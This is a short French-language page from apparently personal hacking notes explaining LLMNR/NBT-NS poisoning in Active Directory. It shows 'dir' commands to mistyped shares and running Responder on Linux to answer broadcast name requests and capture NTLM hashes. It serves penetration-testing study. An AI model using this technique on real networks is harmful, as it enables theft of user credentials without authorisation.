> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/active-directory/lateral-movement/llmnr-nbt-ns-poisoning.md).

# Empoisonnement LLMNR / NBT-NS

Si l'accès se fait avec un nom valide, la résolution passe d'abord par le DNS du contrôleur de domaine.

{% code overflow="wrap" %}

```bash
dir //WS01/c$
```

{% endcode %}

Si le nom n'existe pas, Windows tente alors une résolution via `LLMNR` ou `NBT-NS` en diffusion.

{% code overflow="wrap" %}

```bash
dir //test/c$
```

{% endcode %}

<figure><img src="/files/e61ac4a34c91d0ecbbe40530c44202db5ac6c5f8" alt=""><figcaption></figcaption></figure>

Depuis Linux, nous pouvons écouter ces requêtes et y répondre avec `Responder`.

{% code overflow="wrap" %}

```bash
sudo responder -I ens33
```

{% endcode %}

<figure><img src="/files/21f2055c2b1579c2977bd1b07e00f79d6c1b4637" alt=""><figcaption></figcaption></figure>

Si une victime saisit le mauvais nom de partage, la requête tombe alors sur notre machine.

{% code overflow="wrap" %}

```bash
dir //test/c$
```

{% endcode %}

Nous récupérons alors le hachage NTLM du compte qui tente d'établir la connexion.

<figure><img src="/files/ffea110e0491af9515ec740b039282cef7d50206" alt=""><figcaption></figcaption></figure>


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